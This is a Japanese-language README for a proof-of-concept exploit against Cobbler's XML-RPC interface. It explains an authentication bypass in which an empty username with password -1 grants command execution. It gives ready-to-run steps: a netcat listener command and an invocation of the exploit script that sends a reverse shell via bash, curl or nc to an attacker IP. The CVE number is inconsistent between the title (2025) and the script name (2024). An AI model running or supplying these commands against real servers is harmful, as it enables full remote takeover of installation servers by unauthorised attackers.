
CVE-2025-47533 Clobber RCE のPoC
Cobbler(ネットワークインストール環境の迅速なセットアップを可能にする Linux インストールサーバー)には、バージョン 3.0.0 から 3.2.3 および 3.3.7 より前のバージョン(3.2.3 および 3.3.7 を含まない)に認証の脆弱性があります。関数 utils.get_shared_secret() は常に -1 を返すため、誰でも空のユーザー名 ('') とパスワード -1 で Cobbler XML-RPC インターフェースに接続できます。これにより、ネットワークアクセスを持つ攻撃者は Cobbler サーバーの完全な制御を取得できます。この脆弱性はバージョン 3.2.3 および 3.3.7 で修正されています。
この脆弱性は、utils.get_shared_secret() 関数における共有シークレットの不適切な処理に起因し、この関数が常に -1 を返すため、認証が実質的にバイパスされます。これにより、任意のネットワークユーザーが空の認証情報で Cobbler の XMLRPC インターフェースに接続し、任意のコマンドを実行できるようになります。
http://<target>:25151/ — Cobbler の XMLRPC API エンドポイント
エクスプロイトスクリプトは、以下のようなさまざまなリバースシェルペイロードをサポートしています。
nc)マシン上で Netcat リスナーを起動します:
nc -lvnp 4444
エクスプロイトスクリプト CVE-2024-47533.py を実行します。
python3 CVE-2024-47533.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
-t : ターゲット (例: -t http://1<IP_SERVICE>:<PORT>)
-l: ローカル IP (例: -l 10.10.11.80)
-p : ポート <LOCAL_PORT> (例: -p 4444)
--payload: ペイロード(bash, curl, nc) (例: --payload bash)
実行が成功すると、リバースシェルがリスナーに接続し、攻撃者にサーバーへのリモートアクセスを許可します。